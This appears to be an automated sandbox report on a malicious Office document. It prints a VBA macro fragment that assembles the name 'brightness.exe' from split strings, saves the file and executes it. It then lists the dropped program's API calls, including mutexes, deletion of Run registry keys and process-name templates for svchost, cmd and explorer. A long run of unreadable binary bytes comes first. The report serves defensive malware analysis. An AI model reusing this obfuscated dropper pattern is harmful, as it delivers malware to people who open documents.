\x08?(?\x08\x00\x00\x00\x00\x00\x00@??????\x00?0?\x00?0\x00\x00\x00\x00\x00\x00@?\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?????????????????????????????????????????????????O?????????????????????????????????????????????????????????????????????????????????????????????d?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????C?????????????????????????????????????L?????????????L??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????{??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????7?????????????+????????????????????????????????????:??????????????????????????????????????c???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????\xfffd???????????????????????????????????????????????????????????????????????????????????????????????8?????????????????????????????????????C?????????????????O?????????????????????????????????????????????????????????????????????????????????O????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????6??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? executed
59	Dim monu1
60	monu1 = "brightness"
61	Dim monu2
62	monu2 = "."
64	Dim monu3
65	monu3 = "e"
67	Dim monu4
68	monu4 = "x"
70	Dim monu5
71	monu5 = "e"
73	Dim monu6
74	monu6 = monu1 & monu2 & monu3 & monu4 & monu5
77	. savetofile monu6, 2
80	Dim parveen1
81	Dim parveen2
82	Dim parveen3
83	Dim parveen4
84	Dim praveen1
85	praveen1 = """brightness"
86	Dim praveen2
87	praveen2 = "."
89	Dim praveen3
90	praveen3 = "e"
92	Dim praveen4
93	praveen4 = "x"
95	Dim praveen5
96	praveen5 = "e"""
101	Dim praveen6
102	praveen6 = praveen1 & praveen2 & praveen3 & praveen4 & praveen5
106	End With
108	Shell (praveen6)	Shell(""brightness.exe"") -> 7888 executed
110	End Sub

Reset < >

Analysis Process: brightness.exePID: 7888, Parent PID: 7368COMMON

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	2.5%
Signature Coverage:	31%
Total number of Nodes:	975
Total number of Limit Nodes:	21

Executed Functions

Function 002C1000 Relevance: 184.5, APIs: 90, Strings: 15, Instructions: 734stringsynchronizationthreadCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002C105C
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 002C1072
ExitProcess.KERNEL32 ref: 002C107E
GetCurrentProcess.KERNEL32 ref: 002C10AA
CreateMutexW.KERNELBASE(0000000C,00000000,{298EF64F-9724-4367-96E8-8BCBA728A252}), ref: 002C10DF
ExitProcess.KERNEL32 ref: 002C10F5
RtlExitUserThread.NTDLL(00000000), ref: 002C1139
OpenEventW.KERNEL32(00100002,00000000,{30F16DBB-8F97-4AF8-BBE1-F1F714CA8DE6}), ref: 002C1155
RtlExitUserThread.NTDLL(00000000), ref: 002C116C
SetEvent.KERNEL32(00000000), ref: 002C1179
CloseHandle.KERNEL32(00000000), ref: 002C1186
RtlExitUserThread.NTDLL(00000000), ref: 002C1193
OpenMutexW.KERNEL32(00100000,00000000,{90CA5DAB-A40E-4E50-9755-11BEEF1B67F8}), ref: 002C11C0
CloseHandle.KERNEL32(00000000), ref: 002C11DC
CreateMutexW.KERNELBASE(00000000,00000001,{90CA5DAB-A40E-4E50-9755-11BEEF1B67F8}), ref: 002C11F3
ExitProcess.KERNEL32 ref: 002C11FF

Part of subcall function 002D2680: RegOpenKeyW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,?), ref: 002D269B
Part of subcall function 002D2680: RegDeleteValueW.ADVAPI32(?,00336FC8,?,?,002C1109), ref: 002D26AE
Part of subcall function 002D2680: RegCloseKey.ADVAPI32(?,?,?,002C1109), ref: 002D26B8
Part of subcall function 002D2680: RegOpenKeyW.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,?), ref: 002D26D5
Part of subcall function 002D2680: RegDeleteValueW.ADVAPI32(?,00337016,?,?,002C1109), ref: 002D26E8
Part of subcall function 002D2680: RegCloseKey.ADVAPI32(?,?,?,002C1109), ref: 002D26F2

ExitProcess.KERNEL32 ref: 002C124A
ExitProcess.KERNEL32 ref: 002C1268

Part of subcall function 002C1C80: CreateEventW.KERNEL32(00000000,00000001,00000000,{0277BEDC-839F-4568-B7FD-94E1324E5204}), ref: 002C1CA2
Part of subcall function 002C1C80: _memset.LIBCMT ref: 002C1CCC
Part of subcall function 002C1C80: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 002C1CE0
Part of subcall function 002C1C80: _memset.LIBCMT ref: 002C1D05
Part of subcall function 002C1C80: __snwprintf.LIBCMT ref: 002C1D2F
Part of subcall function 002C1C80: _memset.LIBCMT ref: 002C1D70
Part of subcall function 002C1C80: GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 002C1D84
Part of subcall function 002C1C80: LocalAlloc.KERNEL32(00000040,00000DF0), ref: 002C1DA3
Part of subcall function 002C1C80: GetProcAddress.KERNEL32(?,LoadLibraryW), ref: 002C1DD9
Part of subcall function 002C1C80: GetProcAddress.KERNEL32(?,GetProcAddress), ref: 002C1DF3

LocalFree.KERNEL32(?), ref: 002C12CD
CreateMutexW.KERNELBASE(00000000,00000001,{7146D285-3342-474C-BB25-39FBDB96F949}), ref: 002C12DC
ExitProcess.KERNEL32 ref: 002C12F3
ExitProcess.KERNEL32 ref: 002C1308

Part of subcall function 002DC3A0: AllocateAndInitializeSid.ADVAPI32(00000000,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 002DC3DB
Part of subcall function 002DC3A0: CheckTokenMembership.ADVAPI32(00000000,?,00000000), ref: 002DC3F4
Part of subcall function 002DC3A0: FreeSid.ADVAPI32(?), ref: 002DC409

CreateMutexW.KERNELBASE(00000000,00000001,{21AA2932-B56E-4A88-96A8-ED25B3407693}), ref: 002C1317
ExitProcess.KERNEL32 ref: 002C132E

Part of subcall function 002DC090: RtlGetVersion.NTDLL(0000011C), ref: 002DC0DA

CreateEventW.KERNEL32(00000000,00000001,00000000,{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}), ref: 002C134C
ExitProcess.KERNEL32 ref: 002C1362
GetModuleFileNameW.KERNEL32(00000000,?,00007FFF), ref: 002C1390
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002C13F8
GetTempPathW.KERNEL32(00007FFF,?), ref: 002C141D
lstrcmpiW.KERNEL32(?,?), ref: 002C144F
lstrcmpiW.KERNEL32(?,?), ref: 002C146B
GetCommandLineW.KERNEL32 ref: 002C1479
CommandLineToArgvW.SHELL32(?,?), ref: 002C1493
lstrcmpiW.KERNEL32(?,{411C1FF3-84D1-4AB1-868B-39D8EDE8EFF0}), ref: 002C14AE
lstrcmpiW.KERNEL32(?,{76E4A29C-8902-45F6-B7AB-AE36C3274D0C}), ref: 002C14C7
lstrcmpiW.KERNEL32(?,{D8E15931-E2AD-40B5-A4D1-41BD1741249E}), ref: 002C14E0

Strings

{298EF64F-9724-4367-96E8-8BCBA728A252}, xrefs: 002C10D1
{411C1FF3-84D1-4AB1-868B-39D8EDE8EFF0}, xrefs: 002C149F
{31D5D6FC-531F-4F51-88B8-2A46318EDC55}, xrefs: 002C1ADC
{79AAF077-37FE-4D7E-B956-7886E5902558}, xrefs: 002C1A5D
{30F16DBB-8F97-4AF8-BBE1-F1F714CA8DE6}, xrefs: 002C1149, 002C1964
{76E4A29C-8902-45F6-B7AB-AE36C3274D0C}, xrefs: 002C14B8
{21AA2932-B56E-4A88-96A8-ED25B3407693}, xrefs: 002C130E, 002C1334
{7146D285-3342-474C-BB25-39FBDB96F949}, xrefs: 002C12D3
{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}, xrefs: 002C1117, 002C1341, 002C1368
{D8E15931-E2AD-40B5-A4D1-41BD1741249E}, xrefs: 002C14D1
%s\svchost.exe, xrefs: 002C1744
%s\cmd.exe, xrefs: 002C1788
{116CB32B-CA1E-4E75-8750-5F8DFAEAF5A6}, xrefs: 002C19DF
{90CA5DAB-A40E-4E50-9755-11BEEF1B67F8}, xrefs: 002C11B4, 002C11EA
%s\explorer.exe, xrefs: 002C1703

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Exit$Process$Create$Mutexlstrcmpi$CloseEventOpen_memset$LocalThreadUser$AddressAllocCommandCurrentDeleteDirectoryFileFreeHandleLineModuleNameProcValue$AllocateArgvCheckInitializeMembershipPathTempTokenVersionWindows__snwprintf
String ID: %s\cmd.exe$%s\explorer.exe$%s\svchost.exe${116CB32B-CA1E-4E75-8750-5F8DFAEAF5A6}${21AA2932-B56E-4A88-96A8-ED25B3407693}${298EF64F-9724-4367-96E8-8BCBA728A252}${30F16DBB-8F97-4AF8-BBE1-F1F714CA8DE6}${31D5D6FC-531F-4F51-88B8-2A46318EDC55}${411C1FF3-84D1-4AB1-868B-39D8EDE8EFF0}${7146D285-3342-474C-BB25-39FBDB96F949}${76E4A29C-8902-45F6-B7AB-AE36C3274D0C}${79AAF077-37FE-4D7E-B956-7886E5902558}${90CA5DAB-A40E-4E50-9755-11BEEF1B67F8}${D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}${D8E15931-E2AD-40B5-A4D1-41BD1741249E}
API String ID: 1123704228-1711468988
Opcode ID: 47457f940cb4ea123da9e01846f5f781b0b3dc2fba38128f17b5167fd09ec035
Instruction ID: 4d209ec8800f3896a6c53431008c01e73388cc41c92d2ff111818341739da15f
Opcode Fuzzy Hash: 47457f940cb4ea123da9e01846f5f781b0b3dc2fba38128f17b5167fd09ec035
Instruction Fuzzy Hash: 5E62D570A60319DFEB219F60DCCAF987778AF45705F1052A9F609B6192DBB48AE0CF11

Function 002D41E0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 61
registrytimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__snwprintf.LIBCMT ref: 002D41FF
RegCreateKeyExW.KERNELBASE(80000001,?,00000000,00000000,00000000,000F013F,00000000,002C1585,00000000), ref: 002D4226
RegCloseKey.ADVAPI32(002C1585), ref: 002D4238
_memset.LIBCMT ref: 002D4246
GetSystemTime.KERNEL32(?), ref: 002D4265
SystemTimeToFileTime.KERNEL32(?,?), ref: 002D4276

Strings

SOFTWARE\%s, xrefs: 002D41EE
{0D6172E3-C310-454B-A566-1C3CE2B77AB5}, xrefs: 002D41E9

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Time$System$CloseCreateFile__snwprintf_memset
String ID: SOFTWARE\%s${0D6172E3-C310-454B-A566-1C3CE2B77AB5}
API String ID: 3491885642-2887747857
Opcode ID: a2d33c203eb368bc692e9ae31fa1e77e8d9a89e4a8d3be4c3c3e4d6fe7bcb363
Instruction ID: 11222fbff9f10a55ef361c529ea99c9a2e5b52fc3977b0ec42c653752d8b3f3c
Opcode Fuzzy Hash: a2d33c203eb368bc692e9ae31fa1e77e8d9a89e4a8d3be4c3c3e4d6fe7bcb363
Instruction Fuzzy Hash: 7C11CD72AA030977EB10EBB0DC4EFFA733CAB14700F400954BA05E61C1FAB19654CB91

Function 04F60A5A Relevance: 1.6, APIs: 1, Instructions: 89COMMON

Download Yara Rule

APIs

GetProcAddressForCaller.KERNELBASE(?,?,?), ref: 04F60B25

Memory Dump Source

Source File: 00000005.00000002.1901356508.0000000004F60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F60000, based on PE: false

Joe Sandbox IDA Plugin

